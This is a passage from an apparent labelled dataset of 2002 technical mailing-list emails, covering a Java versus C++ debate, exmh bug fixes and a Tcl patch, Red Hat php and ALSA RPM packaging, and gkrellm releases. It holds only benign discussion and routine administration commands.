implementation of Java on various platforms... Reza B'Far -----Original Message----- From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of Adam L. Beberg Sent: Sunday, September 01, 2002 9:01 PM To: Mr. FoRK Cc: fork@spamassassin.taint.org Subject: Re: Java is for kiddies On Sun, 1 Sep 2002, Mr. FoRK wrote: > > 6. Hardware is getting so fast that I'm not sure if the performance > > difference between Java and C/C++ are relevant any more. > > When out-of-the-box parsing & transform of XML in java is 25x slower than > C++ on the same hardware then it does matter. Yea, and that on top of the 100x of all the parsing engines over just bigendian'ing it and passing the data (5x+++) in the raw. Then it REALLY matters. - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com",0,1 Tom ,vox@mindvox.com,"Mon, 2 Sep 2002 13:37:32 -0400 (EDT)",SChoolHouseRocks DVD,"Of course they had to do this AFTER we purcahsed these all on vhs, and yes it is now run by the great evil empire known as disney...but we got the new School House Rocks DVD anyway and man is it an amazing item. First off , my 8 year old has been singing them since she was 6. Second off, these are much easier to rip to divx and mp3. Third, new songs, remastered originals and other dvd goodies. Its a 2 dvd set so its well worth the 17$ we paid for it. Even if you dont have kids, run do not walk to pick this one up. Man, I would sure love to have a *nix Rocks for the kids.",0,0 """Mr. FoRK"" ",,"Mon, 2 Sep 2002 14:00:04 -0700",Re: Java is for kiddies,"> > Microsoft has announced that they plan to remove Java from Windows. > They took it out of XP already and it has to be installed with a > service pack. Somehow, I can't imagine them removing the ability to > run C programs. They removed /their/ Java VM. They didn't remove the ability to run Java programs. Anybody is free to develop their own Java VM and make it kick ass. As someone said earlier in the thread, nobody is capable or willing to do that. I've done a bunch of Java and haven't run into huge problems running the same bytecode across Solaris or Win2K. What actual problems have people actually run into. Actually.",0,0 """Reza B'Far (eBuilt)"" ","""Robert Harley"" , ","Mon, 2 Sep 2002 11:48:36 -0700",RE: Java is for kiddies,"-----Original Message----- From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of Robert Harley Sent: Monday, September 02, 2002 2:55 AM To: fork@spamassassin.taint.org Subject: RE: Java is for kiddies Reza B'Far wrote: >This thread kind of surprises me... I started coding with C, then C++, and >moved on to Java... And, I think that: Robert Harley wrote: >Looks like a case of ""MY experience is comprehensive, YOUR'S is >anecdotal, THEY don't know what they're talking about"". Well, I sure don't claim that... I think most people on Fork probably have more programming knowledge than I do... There's lots of experience out here... Reza B'Far wrote: >1. The people who pay the wages don't give a flyin' heck what programming >language you write things in... they just want it to work. Robert Harley wrote: >In my experience, they do care. It has to work certainly, and in >particular it has to work with what they've already got, and it has to >work on client's systems. >My limited experience of Java started a few years ago when support on >Linux was so terrible that I ran away screaming and haven't come back yet. Well, I think until recently, support for most things on Linux was kind of shady... Things have got much better... You're right in that the JDK used to suck on Linux... But then, IMHO, Linux is still maturing.... or at least development tools for Linux are maturing... I've been developing a few server side apps that run on Linux recently with JDK 1.3.x and they've had no problems with great performance. Robert Harley worte: >Microsoft has announced that they plan to remove Java from Windows. >They took it out of XP already and it has to be installed with a >service pack. Somehow, I can't imagine them removing the ability to >run C programs. Hmmm... Do you really think that MS is pulling out Java because it's a ""Bad"" programming language or application platform? You don't think this has anything to do with .NET being a competitor to Java do you? Or that MS has basically copied Java (with some additional features) and called it C#? Isn't that alone an indication that they actually DO think that a VM is the right way to go for most high level applications? Reza B'Far wrote: >2. C and C++ forces the developer to solve problems such as memory >management over and over again. Robert Harley wrote: >Can't say I spend any noticeable amount of time on memory management >issues, apart from the fact that I frequently need > 4 GB. Hmmm again.... You're telling me that you've never had a nasty bug that took you a couple of days to track down that had to do with a memory leak? I am not the best C/C++ programmer... not even close... But I've known really good ones... and even they have nasty bugs that have to do with memory management, however occasional they may be. >It's about design patterns, architecture, high level stuff... Robert Harley wrote: >If your problem just requires application of a ""design pattern"" to solve, >then it's trivial anyway irrespective of language. Wow! So you're telling me that unless the application involves bit-counting, it's trivial? What about the application itself? What about high level problems such as task distribution, work-flow, etc.? Aren't most high level problems solved with high level solutions like design patterns? Or do you solve high level problems by writing optimal C/C++ code? For example, do you think that most people working on collaboration frameworks (there are lots of them on this list), are working on writing an operating system with assembly that provides for a collaborative environment? >I am amazed by the amount of time wasted by people talking about low >level problems that have been solved 10 million times over and over >and over again... Robert Harley wrote: >You appear to be gratuitously asserting that C programmers waste time >on irrelevant low-level problems and Java programmers don't. Depends >entirely on the programmer, not the language. I can see how you could infer this. However, what I believe to really be the case is that Java is one of the best languages for writing large applications with many components that involves the collaboration of more than three programmers. In those cases, it's always very hard to get the programmers to agree on API's, memory management techniques, etc. With Java, the JCP takes care of the discussions so that you don't sit around in a long meeting trying to decide what API to use to hook up to a database (JDBC) or a messaging bus (JMS). >3. Java is not just a programming language! It's also a platform... Robert Harley wrote: >Buzzword. YIKES! Have you written db code with C/C++ for different databases (just an example)? Tried porting a persistence layer from Windows to Unix? Say you have Informix running on Solaris and you want to port to Windows with MS SQL (bad idea...but for the sake of the example), would you rather deal with JDBC port or C/C++ port that uses Informix drivers and now you have to use ODBC? >a monolithic set of API's or a crap load of different API's slicing >and dicing the same problems 50 different ways? Robert Harley wrote: >Unsupported assertion. So, are you saying that there is a standard set of API's for C/C++ for everything? (aside to the minimal ANSI stuff). Is there a standard way of dealing with C/C++ applications for various domain problems (messaging, database persistence, etc.) that rivals Java? I'd like to know if there is one accepted by everyone who writes C/C++... In that case, I claim ignorance... Not suggesting that Java is the golden hammer.... Just that C/C++ is overkill for most things... I even coded in VB... But VB is a true disgrace to programming... It's just lame... Java is Object Oriented... (no flame-mail from the anti-OO people please... that is a religious discussion...) and relatively clean... And I don't think that every ""Kid"" can write a well designed Java program. Kids typically don't understand various design patterns and principles... To my experience, they actually tend to think more of the low level problems, wanting to rewrite and reinvent the world... a tendency that is much more possible, IMHO, in C/C++ than in Java due to existence of standard API's.",0,0 """Adam L. Beberg"" ","""Reza B'Far (eBuilt)"" ","Mon, 2 Sep 2002 16:19:13 -0700 (PDT)",RE: Java is for kiddies,"On Mon, 2 Sep 2002, Reza B'Far (eBuilt) wrote: > Hmmm again.... You're telling me that you've never had a nasty bug that took > you a couple of days to track down that had to do with a memory leak? I am > not the best C/C++ programmer... not even close... But I've known really > good ones... and even they have nasty bugs that have to do with memory > management, however occasional they may be. OK, noone has been tool-less for memory management for a LONG time. Most systems you just add a flag and memory is tracked (that's how i've always done it) or worst case yuo have to run it through one of the 2.3E7 tools where you simply recompile and it it tells you where the leaks are. Memory management is a non-issue for anyone that has any idea at all how the hardware functions. Granted, this takes 30 minutes to go over, and so is far beyond the scope of the ""Learn Java in 90 minutes without thinking"" book every Java programmer learned from. - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com",0,1 """Adam L. Beberg"" ","""Reza B'Far (eBuilt)"" ","Mon, 2 Sep 2002 16:24:05 -0700 (PDT)",RE: Java is for kiddies,"On Mon, 2 Sep 2002, Reza B'Far (eBuilt) wrote: > With the increasing prevalence of web services (not that they are always a > good thing), I doubt that parsing XML will be something that will remain at > the Java application layer for long... Recent threads here on Fork > indicating the move towards hardware parsing or this code even become part > of the native implementation of Java on various platforms... OK, so, you get the XML toss it through hardware and turn it back into a struct/object whatever you call your binary data. I agree this is the way things will go, as XML parsing has just too much overhead to survive in the application layer. So why turn it into XML in the first place? Becasue it gives geeks something to do and sells XML hardware accelerators and way more CPUs? Is there anyone out there actually doing anything new that actually IMPROVES things anymore, or are they all too scared of the fact that improvements put people out of work and cut #1 is the creators... - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com",0,1 """RossO"" ",fork@spamassassin.taint.org,2 Sep 2002 20:38:34 -0700,Re: Electric car an Edsel...,"Sunday I drove from Portland down to the Woodburn Dragstrip to check out the NEDRA Nationals. The electric cars, motorcycles and dragsters had some great times and I ended up with a few pics and a nice deep burn... John Waylan (who was interviewed in Wired a few years back) pulled out a 14.4 second run in the quarter mile (91mph), on a battery pack that hasn't been broken in yet. He expects to break his record next year topping his 13.1sec/99mph run a couple of years ago. He's shooting for a 12 second run. John also took out a replica 1908 Oldsmobile for a respectable 47mph run. (Remember, we started out with electric cars.) Near the end of the day, Kilacycle took the track with an amazing 111mph run. Talk about a crotch rocket. ...Ross... On Saturday, August 31, 2002, at 01:45 AM, Adam L. Beberg wrote: > Personally I don't think Americans will ever go electric, there is too > much > testosterone linked to the auto as the male's primary form of > compesating > for other things. See.. now that's a job for you femanists, teach women > not > to fall for a fast environmentally destuctive vehicle, you should only > have > to rewrite 98% of the genome ;)",0,1 Chris Garrigues ,Anders Eriksson ,"Thu, 22 Aug 2002 09:59:35 -0500",Re: CVS report,"--==_Exmh_-403670396P Content-Type: text/plain; charset=us-ascii > From: Anders Eriksson > Date: Mon, 19 Aug 2002 23:05:30 +0200 > > > > > Just cvs up'ed and nowadays Catch-up Unseen is __extremely__ slow on > > > large (>100 msgs) unseen sequences. Anybody else having this problem? > > > > I'll take the blame. > > > > The reason, I suspect, is that we're needlessly reading the .sequences file > > multiple times because of other sequences. I need to make the code much > > smarter about handling that file, but first I have a few other fish to fry in > > my rather large patch that's on it's way. > > > > No panic, > > I'm all for cleaning things up before getting it optimized. Okay, this fix is now checked in. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_-403670396P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9ZPxXK9b4h5R0IUIRAvrpAJ47Bzr8fOBqRvDy70Zo+q/dBaDv+wCdGlkP 35PlaPfCqzM6h0Y9RwT/JmQ= =7ghD -----END PGP SIGNATURE----- --==_Exmh_-403670396P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,Robert Elz ,"Thu, 22 Aug 2002 10:04:06 -0500",Re: New Sequences Window,"--==_Exmh_-398538836P Content-Type: text/plain; charset=us-ascii > From: Robert Elz > Date: Thu, 22 Aug 2002 18:32:00 +0700 > > Date: Wed, 21 Aug 2002 10:54:46 -0500 > From: Chris Garrigues > Message-ID: <1029945287.4797.TMDA@deepeddy.vircio.com> > > | I can't reproduce this error. > > Ah, I think I just found the cause, nmh is broken (which is probably > obvious from my previous mail). > > The man page for pick (and how it always used to work) was that -list > would list messages matched. -nolist would supress that. If -sequence > is given the default is -nolist, without -sequence the default is -list. > > That's all fine - but it appears now (which probably means I had never > used pick since I upgraded nmh last) that what counts is the order of > -list and -sequence - that is, if -sequence comes after -list, the -list > gets turned off (-sequence implies -nolist instead of just making -nolist > the default). > > An easy workaround for this is to make sure that -list is the last arg > given to pick, so if I run ... > > delta$ pick +inbox -lbrace -lbrace -subject ftp -rbrace -rbrace 4852-4852 > -sequence mercury -list > 4852 > > which is just as it should be. hmmm, I assume you're going to report this to the nmh folks? Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_-398538836P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9ZP1lK9b4h5R0IUIRAhSFAJ0dWespJZxDa1q6t1yyulLXBp1ryACfUF+D ltpgX3KXYwpbhGV2bUHY6gY= =H9ck -----END PGP SIGNATURE----- --==_Exmh_-398538836P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,"""J. W. Ballantine"" , exmh-workers@spamassassin.taint.org","Thu, 22 Aug 2002 11:28:39 -0500",Re: New Sequences Window,"--==_Exmh_-763629846P Content-Type: text/plain; charset=us-ascii > From: Chris Garrigues > Date: Thu, 22 Aug 2002 09:12:16 -0500 > > > From: ""J. W. Ballantine"" > > Date: Wed, 21 Aug 2002 09:51:31 -0400 > > > > I CVS'ed the unseen/Sequences changes and installed them, and have only one > > real issue. > > > > I use the unseen window rather than the exmh icon, and with the new code > > I can't seem to be able to. How many unseen when when I have the main window open > > is not really necessary. > > hmmm, I stole the code from unseenwin, but I never tested it since I don't use > that functionality. Consider it on my list of things to check. Well, unfortunately, I appear to be using a window manager that doesn't support the icon window. However, I did fix some bugs in the related ""Hide When Empty"" functionality which may solve the issue. You may need to remove ""unseen"" from the ""always show sequences"" to make this work. If so, let me know so I can put that in the help window for ""Icon Window"" as it already is for ""Hide When Empty"". Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_-763629846P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9ZRE3K9b4h5R0IUIRAjS+AJ4m8f6zA6kMkzYOCI7d+HelmpapYQCfbbDi LCumaahI4ILE6tbF8nUd0r8= =nwh1 -----END PGP SIGNATURE----- --==_Exmh_-763629846P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,"Anders Eriksson , exmh-workers@spamassassin.taint.org","Thu, 22 Aug 2002 12:49:41 -0500",Re: CVS report,"--==_Exmh_-451422450P Content-Type: text/plain; charset=us-ascii > From: Chris Garrigues > Date: Thu, 22 Aug 2002 12:23:38 -0500 > > Okay....Catchup unseen is something that I don't use often, but i can > certainly reproduce this. I'll dig into it. It's probably simple. Try it now. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_-451422450P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9ZSQ1K9b4h5R0IUIRAt6BAJ4lZwVy40vrhgO5SRoToDOjp7jkdwCfUSw7 vei8luehray6oqTftNPId8g= =6Ao0 -----END PGP SIGNATURE----- --==_Exmh_-451422450P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Ulises Ponce ,exmh-users@spamassassin.taint.org,"Thu, 22 Aug 2002 13:03:57 -0500",Re: Insert signature,"Thanks Tony, but I think doing it using component files will get a .signature by default, but I have many diferent signatures and I want to insert one of that signatures using a keyboard command. So for a message I will insert a signature, but for another message I will insert a different signature. Is it possible? I am using sedit for my messages. Thanks. Ulises > > Hi! > > > > Is there a command to insert the signature using a combination of keys and not > > to have sent the mail to insert it then? > > I simply put it (them) into my (nmh) component files (components, > replcomps, forwcomps and so on). That way you get them when you are > editing your message. Also, by using comps files for specific > folders you can alter your .sig per folder (and other tricks). See > the docs for (n)mh for all the details. > > There might (must?) also be a way to get sedit to do it, but I've > been using gvim as my exmh message editor for a long time now. I > load it with a command that loads some email-specific settings, eg, > to ""syntax"" colour-highlight the headers and quoted parts of an > email)... it would be possible to map some (vim) keys that would add > a sig (or even give a selection of sigs to choose from). > > And there are all sorts of ways to have randomly-chosen sigs... > somewhere at rtfm.mit.edu... ok, here we go: > rtfm.mit.edu/pub/usenet-by-group/news.answers/signature_finger_faq. > (Warning... it's old, May 1995). > > > Regards, > > Ulises > > Hope this helps. > > Cheers > Tony > > > > _______________________________________________ > Exmh-users mailing list > Exmh-users@redhat.com > https://listman.redhat.com/mailman/listinfo/exmh-users _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Harlan Feinstein ,exmh-users@spamassassin.taint.org,"Sat, 24 Aug 2002 09:31:22 -0400",defaulting to showing plaintext versions of e-mails,"What's the trick again to have it default to showing text/plain instead of html? --Harlan _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Hal DeVore ,exmh-users@spamassassin.taint.org,"Sun, 25 Aug 2002 21:58:24 -0500",Re: defaulting to showing plaintext versions of e-mails,">>>>> On Sat, 24 Aug 2002, ""Harlan"" == Harlan Feinstein wrote: Harlan> What's the trick again to have it default to showing Harlan> text/plain instead of html? In ~/.exmh/exmh-defaults add: *mime_alternative_prefs: text/plain text/enriched text/richtext text/html Order possible alternatives from _your_ most preferred to least preferred. --Hal _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Robert Elz ,Chris Garrigues ,"Sat, 24 Aug 2002 18:56:05 +0700",Re: New Sequences Window,"Date: Thu, 22 Aug 2002 10:04:06 -0500 From: Chris Garrigues Message-ID: <1030028647.6462.TMDA@deepeddy.vircio.com> | hmmm, I assume you're going to report this to the nmh folks? Yes, I will, sometime, after I look at the nmh sources and see what they have managed to break, and why. But we really want exmh to operate with all the versions of nmh that exist, don't we? The patch to have exmh do the right thing, whether this bug exists, or not, is trivial, so I'd suggest including it. Patch follows ... I have no idea why the sequences were being added after the message list before, not that it should make any difference to nmh (or MH). But since I stopped doing that, the variable ""msgs"" isn't really needed any more, rather than assigning $pick(msgs) to msgs, and then using $msgs the code could just use $pick(msgs) where $msgs is now used. This is just a frill though, so I didn't change that. kre --- pick.tcl Fri Aug 23 16:28:14 2002 +++ /usr/local/lib/exmh-2.5/pick.tcl Sat Aug 24 18:14:44 2002 @@ -128,7 +128,7 @@ } proc Pick_It {} { global pick exmh - set cmd [list exec pick +$exmh(folder) -list] + set cmd [list exec pick +$exmh(folder)] set inpane 0 set hadpane 0 for {set pane 1} {$pane <= $pick(panes)} {incr pane} { @@ -175,8 +175,9 @@ } set msgs $pick(msgs) foreach s $pick(sequence) { - lappend msgs -sequence $s + lappend cmd -sequence $s } + lappend cmd -list Exmh_Debug Pick_It $cmd $msgs busy PickInner $cmd $msgs _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Robert Elz ,Chris Garrigues ,"Mon, 26 Aug 2002 14:00:18 +0700",Re: Anolther sequence related traceback,"Date: Fri, 23 Aug 2002 10:58:20 -0500 From: Chris Garrigues Message-ID: <1030118301.3993.TMDA@deepeddy.vircio.com> | Interesting...I don't think this was my bug. | It appears that Msg_Change was asked to change to message ""-"". Something like that is quite possible, but perviously typing nonsense in didn't cause tracebacks, and now it does, and the traceback came from the sequence code... Perviously this would have just caused red messages in the status line complaining about my lousy typing. That's probably what it should keep on doing (the ""red"" part isn't important obviously..) kre _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Troy Engel ,rpm-zzzlist@freshrpms.net,"Thu, 22 Aug 2002 16:10:38 -0700",latest php upgrade in 7.3,"Today an apt-get upgrade holds back php (and submodules, like php-imap). Running an apt-get install php to see what's up, I get: # apt-get install php Processing File Dependencies... Done Reading Package Lists... Done Building Dependency Tree... Done The following extra packages will be installed: curl-devel imap imap-devel mysql mysql-devel php-imap php-ldap postgresql postgresql-devel postgresql-libs pspell-devel ucd-snmp-devel ucd-snmp-utils unixODBC unixODBC-devel The following NEW packages will be installed: curl-devel imap imap-devel mysql mysql-devel postgresql postgresql-devel postgresql-libs pspell-devel ucd-snmp-devel ucd-snmp-utils unixODBC unixODBC-devel The following packages will be upgraded php php-imap php-ldap 3 packages upgraded, 13 newly installed, 0 to remove(replace) and 1 not upgraded. Anyone have an idea what the heck RedHat did here, and why we're now trying to install a ton of crap I don't want? (I'm hoping someone else has chased this down and could save me time... ;) ) thx, -te -- Troy Engel, Systems Engineer Cool as the other side of the pillow _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 seth vidal ,rpm-zzzlist@freshrpms.net,22 Aug 2002 19:12:59 -0400,Re: latest php upgrade in 7.3,"On Thu, 2002-08-22 at 19:10, Troy Engel wrote: > Today an apt-get upgrade holds back php (and submodules, like php-imap). > Running an apt-get install php to see what's up, I get: > > # apt-get install php > Processing File Dependencies... Done > Reading Package Lists... Done > Building Dependency Tree... Done > The following extra packages will be installed: > curl-devel imap imap-devel mysql mysql-devel php-imap php-ldap postgresql > postgresql-devel postgresql-libs pspell-devel ucd-snmp-devel > ucd-snmp-utils > unixODBC unixODBC-devel > The following NEW packages will be installed: > curl-devel imap imap-devel mysql mysql-devel postgresql postgresql-devel > postgresql-libs pspell-devel ucd-snmp-devel ucd-snmp-utils unixODBC > unixODBC-devel > The following packages will be upgraded > php php-imap php-ldap > 3 packages upgraded, 13 newly installed, 0 to remove(replace) and 1 not > upgraded. > > Anyone have an idea what the heck RedHat did here, and why we're now > trying to install a ton of crap I don't want? (I'm hoping someone else > has chased this down and could save me time... ;) ) > rh bugzilla 72007 thats the answer -sv _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Chris Kloiber ,rpm-zzzlist@freshrpms.net,23 Aug 2002 03:50:09 -0400,Re: latest php upgrade in 7.3,"On Thu, 2002-08-22 at 19:10, Troy Engel wrote: > Anyone have an idea what the heck RedHat did here, and why we're now > trying to install a ton of crap I don't want? (I'm hoping someone else > has chased this down and could save me time... ;) ) I'm told that even our best people occasionally screw up. And QA had tested the rpm on an ""Everything"" install. Expect a fixed version soon, and QA procedures have been adjusted to catch this kind of braindamage in the future. There is nothing really wrong with the binary inside the rpm, so if you want to --nodeps for now it's ok. -- Chris Kloiber _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Gilles Fabio ,rpm-zzzlist@freshrpms.net,"Sun, 25 Aug 2002 00:58:27 +0200",hello everybody,"Hi everybody ! My name is Gilles, I'm 19 and I'm french. My english is very bad and I'm sorry if you do not understand correctly my emails. I use Linux since 3 months. Before I worked with Windows 2000 Pro. I enjoy Red Hat... I tried Mandrake, SuSE, Debian, Slackware and my favorite of all of them is Red Hat. Actually I use Red Hat 7.3. I visited the web site Freshrpms, I congratulated Thias for his work. And I subscribed to this list for to know more about Red Hat and RPMs' news. Pleased to read U soon. Gilles (Nice, South of France) _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Lance ,FreshRPMs List ,24 Aug 2002 19:40:08 -0500,Re: Fw: Re: When are we going to get. [making ALSA rpms],"Thanks for this information. I gave Alsa a try, couldn't figure out how to enable digital out, although I'm sure if I put enough time into it, could have gotten it working. Also when playing mp3s in analog mode, every time I switched between mp3s there was a bit of static. Noticed a new distribution geared towards audio applications, AGNULA (http://www.agnula.org/) uses Alsa as well. Seems though the latest open source emu10k1 drivers (SBLive! 5.1) work fair enough. Anyone else experience these problems with Alsa? Are there alot of people on this list using Alsa? Regards, Lance On Sat, 2002-08-24 at 17:45, Angles Puglisi wrote: > FYI, This is how I make my ALSA rpms ... some people on the (null) list did not > realize it was pretty easy. > > btw, I do this lot since I've upgraded from RH7.3 to Limbo1 to Limbo2 to Null all in > a week (probably). > > forward - original mail: > From ""Angles Puglisi"" > Date 08/24/2002 - 06:38:03 pm > Subject Re: When are we going to get.... > ---- > > From: Angles Puglisi > To: limbo-list@spamassassin.taint.org > Subject: Re: When are we going to get.... > Date: 24 Aug 2002 22:40:40 +0000 > > OK, I do this every time I update a kernel. > > The 1st time I added ALSA, I tried a non-root rpom build but the DEV things were not > made. Other than that, I bet you could do non-root. The following can be scripted > easily. > > 1. get (a) alsa-drivers, (b) alas-lib, and (c) alsa-utils tarballs (if upgrading the > kernel then you probably have them from your last install). > 2. unpack them somewhere. > 3. for each of them, go to the top directory of the unpacked tarball, and do > ../configure, then look in (I'm going by memory) TOPDIR/utils/* you should see a spec > file there. Do this for the 3 tarballs and you get 3 spec files. > > 4. put the source tarballs in SOURCES and the spec files in SPECS, go in order from > a, b, then c, doing > ""rpmbuild -ba SPECS/alsa-[X].spec; rpm -Uvh RPMS/i386/alsa-[X].rpm"" > > 5. do that in order for the 3 spec files and you have just installed the alsa > drivers on your system. The 1st time you do this you need to put the correct stuff > in your modules.conf file (may take some research) then you get the alsa driver and > OSS compat capabilities, or you can choose not to use the OOS compat stuff. > > Script making the spec, then building and upgrading, as above, and you have > ""no-sweat"" ALSA. > > NOTE: the (null) rpmbuild did take some tweaking, it does a check for files in the > buildroot that you don't specify in your files section. In this case there is an > extra file (going by memory) ""/include/sys/asound.h"". Add a line at the end on the > ""install"" section of the spec file to delete that file and you are good to go. > > Gordon Messmer (yinyang@eburg.com) wrote*: > > > >On Fri, 2002-08-23 at 03:41, Matthias Saou wrote: > >> > >> Probably when Red Hat Linux gets a 2.6 kernel ;-) Until then, a few places > >> provide good quality alsa packages, but indeed you still have to patch and > >> recompile your kernel. > > > >Not so. Alsa is build-able independently of the kernel. > > > >> Maybe some day I'll try ALSA (never done it yet), and that day you can > >> expect all needed packages to appear on freshrpms.net :-) > > > >I'd be interested in working with you on that if you want those > >packages. > > > > > > > > > >_______________________________________________ > >Limbo-list mailing list > >Limbo-list@redhat.com > > > > -- > That's ""angle"" as in geometry. -- : ####[ Linux One Stanza Tip (LOST) ]########################### Sub : Extracting lines X to Y in a text file LOST #261 Use sed ... Syntax: [$sed -n 'X,Yp' < textfile.txt]. Following will extract lines 5-10 from textin.fil to textout.fil ... $sed -n '5,10p' < textin.fil > textout.fil ######################################## : _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Mon, 26 Aug 2002 12:14:21 +0200",Re: Fw: Re: When are we going to get. [making ALSA rpms],"Once upon a time, """"Angles"" wrote : > FYI, This is how I make my ALSA rpms ... some people on the (null) list > did not realize it was pretty easy. Thanks Angles! I really think I'll give ALSA a shot fairly soon then ;-) Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Harri Haataja ,rpm-zzzlist@freshrpms.net,"Mon, 26 Aug 2002 21:35:08 +0300","Re: New gkrellm 2.0.0, gtk2 version","On Mon, Aug 26, 2002 at 07:14:54PM +0200, Matthias Saou wrote: > I've repackaged the new gkrellm 2.0.0 which is now ported to gtk2 > (woohoo!). Unfortunately, the plugins are incompatible with the > previous 1.2.x ones, and since not many/all have been ported yet, I > prefer not to release the package on the main freshrpms.net site for > now. You could go the same way as the others and call it gkrellm2 and conflict with v1 if the executables or paths are the same. -- Hey, you're right. I don't want to call a destructor on my objects, I want to call a *destroyer*. Gozer has come for your memory, little PersistentNode! -- Joel Gluth _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Brian Fahrlander ,rpm-zzzlist@freshrpms.net,"Mon, 26 Aug 2002 14:04:48 -0500","Re: New gkrellm 2.0.0, gtk2 version","On Mon, 26 Aug 2002 19:14:54 +0200, Matthias Saou wrote: > Hi all, > > I've repackaged the new gkrellm 2.0.0 which is now ported to gtk2 > (woohoo!). Unfortunately, the plugins are incompatible with the previous > 1.2.x ones, and since not many/all have been ported yet, I prefer not to > release the package on the main freshrpms.net site for now. > > For those of you who'd like to try it out, you can grab it here : > http://ftp.freshrpms.net/pub/freshrpms/testing/gkrellm/ > > I think the themes are still compatible, but haven't tried to install some > with 2.0.0 yet. > Last note, the above packages are for Valhalla. And yes, although GNOME 2 > is not in Valhalla, gtk2 and glib2 have been from the very beginning! ;-) Sweet, dude- I was really hoping it'd be out sooner or later; thanks a bunch! ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ I've been complaining for years, and almost no one listened. ""Windows is just easier"" you said. ""I don't want to learn anything new"", you said. Tell me how easy THIS is: http://www.guardian.co.uk/Archive/Article/0,4273,4477138,00.html _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """Harig, Mark A."" ",,"Mon, 26 Aug 2002 19:31:49 -0400",RE: Re: When are we going to get. [making ALSA rpms],"> made. Other than that, I bet you could do non-root. The following can be scripted > easily. > ... > 2. unpack them somewhere. > 3. for each of them, go to the top directory of the unpacked tarball, and do > ../configure, then look in (I'm going by memory) TOPDIR/utils/* you should see a spec > file there. Do this for the 3 tarballs and you get 3 spec files. > The above steps can all be performed ""automatically"", if the .spec files are updated to include the necessary macros in the %prep (%setup -q) and %build stages. This would make the building of the .rpm files less error prone and more self-contained, and it would be somewhat self-documenting. --- _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """Mr. FoRK"" ",,"Mon, 2 Sep 2002 17:47:44 -0700",Re: Java is for kiddies,"----- Original Message ----- From: ""Adam L. Beberg"" > > Memory management is a non-issue for anyone that has any idea at all how the > hardware functions. In theory there is no difference between theory and practice. In practice there is.",0,0 Eugen Leitl ,,"Tue, 3 Sep 2002 08:05:27 +0200 (CEST)",Making a mesh on the move,"http://www.guardian.co.uk/Print/0%2c3858%2c4489999%2c00.html Making a mesh on the move A new way to give us fast mobile net access spells further trouble for 3G, reports Peter Rojas Peter Rojas Thursday August 29, 2002 The Guardian Imagine being able to surf the net at speeds 